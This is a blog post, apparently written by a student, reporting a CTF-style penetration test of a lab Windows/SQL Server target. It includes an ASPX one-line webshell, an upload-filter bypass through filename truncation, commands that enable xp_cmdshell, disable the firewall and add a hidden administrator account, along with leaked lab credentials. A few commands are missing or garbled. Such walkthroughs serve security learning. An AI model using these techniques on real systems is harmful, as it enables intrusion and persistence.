渗透测试报告

  • Post author:
  • Post category:其他



渗透测试报告


PTES:

以CTF比赛的形式体验PTES流程。CTF:夺旗赛。找flag。

1、前期交互:授权委托书 ,说明渗透的目标IP和端口等信息。

2003密码:admin123

此次渗透测试的目标:

获取到目标机IP地址:192.168.233.129 (我的主机号)

在这里插入图片描述

2、信息搜集

通过信息搜集工具,搜集目标靶机的信息,扫描出1433(sql server) 、27689端口。登录到27689端口,可以发现是一个文件上传系统。接下来寻找登录该系统的方法。由于前面发现了1433端口打开,可以判断出这个系统使用了SQL server 服务,用户的注册登录很可能是存放在sql数据库中的。查看页面源代码后发现后端使用了aspx来写,一句话木马选用对应的语句。

在这里插入图片描述

目录扫描

在这里插入图片描述

图 1-2

在这里插入图片描述

图1-3

在这里插入图片描述

图1-4

在这里插入图片描述

图1-5

在这里插入图片描述

图1-6

通过目录扫描,扫描出敏感目录:web.config.bak,发现了后端数据库的用户名和密码。

在这里插入图片描述

图1-7

通过数据库客户端工具navicat,登陆数据库库,查看表UserList,发现web应用的用户名和密码。(admin asdadwn_d2112)

在这里插入图片描述

找到了第一个flag:4k3s9m3d。

3、威胁建模

发现应用有上传功能,利用上传功能展开攻击。

4、漏洞分析

利用文件上传,上传一句话木马getshell等实现攻击。

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/90815ec12de143f5bdfbbac060144364.png)

5、渗透测试

在这里插入图片描述

当我写好一句话木马的PHP文件上传的时候它提醒我不能上传这类文件,这让我非常头疼。

在这里插入图片描述

查看页面源码之后,我发现再前端的界面并没有提及对于文件格式的验证,查阅资料后发现对文件格式的验证有本地限制和服务器防御两种,服务器防御的可能性比较大,后面我尝试了一下关闭JS语言,发现点击上传之后就没有反应了,可见的确是服务器防御。

在这里插入图片描述

接下来开始想办法绕过服务器防御。

这里采用抓包技巧获得传出的数据包,修改此处的数据类型可能可以绕过服务器防御。我传了一张图片来看它到底会接受哪一种类型的数据。

在尝试后发现修改后缀名会直接影响文件能否上传,我改了一些奇奇怪怪的后缀,发现都不能上传,可以预测这应该是一个白名单检验。在多次修改数据包文件后还是未能实现攻击。在与同学讨论后发现文件名命名规则的缺陷,超过32位的文件名会自动截断,时间戳会自动加上19位,我们只需要将文件名命名为19+13位即可。于是将文件名改为如图所示,就可以上传成功。

之后对C盘下Administrator文件夹内容进行访问发现拒绝访问,需要权限提升

在这里插入图片描述

之后通过浏览web目录发现历史web.config

在这里插入图片描述

进一步获取sa的账号密码信息,不得不说这为我们权限提升提供了最大的助力:

在这里插入图片描述

发现出现了中文乱码,但是不影响我们获取数据库账号密码

在这里插入图片描述

之后通过执行SQL语句来查看权限,可以看到已然是system权限了,而这也是因为SQLServer默认是以system权限运行的,外加上sa权限导致我们可以直接获取到system权限:

use master;
exec master..xp_cmdshell "whoami";
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/06d25d7625864d7ba7fda42e5dcb4a45.png)

关防火墙

下面我们要做的就是关闭防火墙开RDP了,在这里为了执行系统命令我们首先开启XP_cmdshell:

use master;
exec sp_configure 'show advanced options',1;
reconfigure;

exec sp_configure 'xp_cmdshell',1;
reconfigure;
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/6df639c71d804cbeb0d41dde72e44ad9.png)

之后关闭防火墙:


```php
EXEC master.dbo.xp_cmdshell 'netsh firewall set opmode disable'
 

![在这里插入图片描述](https://img-blog.csdnimg.cn/ffe3064494334ea8b3f350f11835e2b5.png)

开启RDP
下一步自然而然就是开启RDP进行远程链接了,命令如下:
 、![在这里插入图片描述](https://img-blog.csdnimg.cn/57ba81738b6b4aadb7616507757fcf34.png)

添加用户
为了实现RDP远程链接我们还需要创建一个用户账号并将其添加到管理员组:

```c
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"

 

远程连接

之后使用之前创建的账号进行远程链接操作:

在这里插入图片描述

之后我们在桌面成功获取到Key:所有任务到此结束!



版权声明:本文为weixin_51061782原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。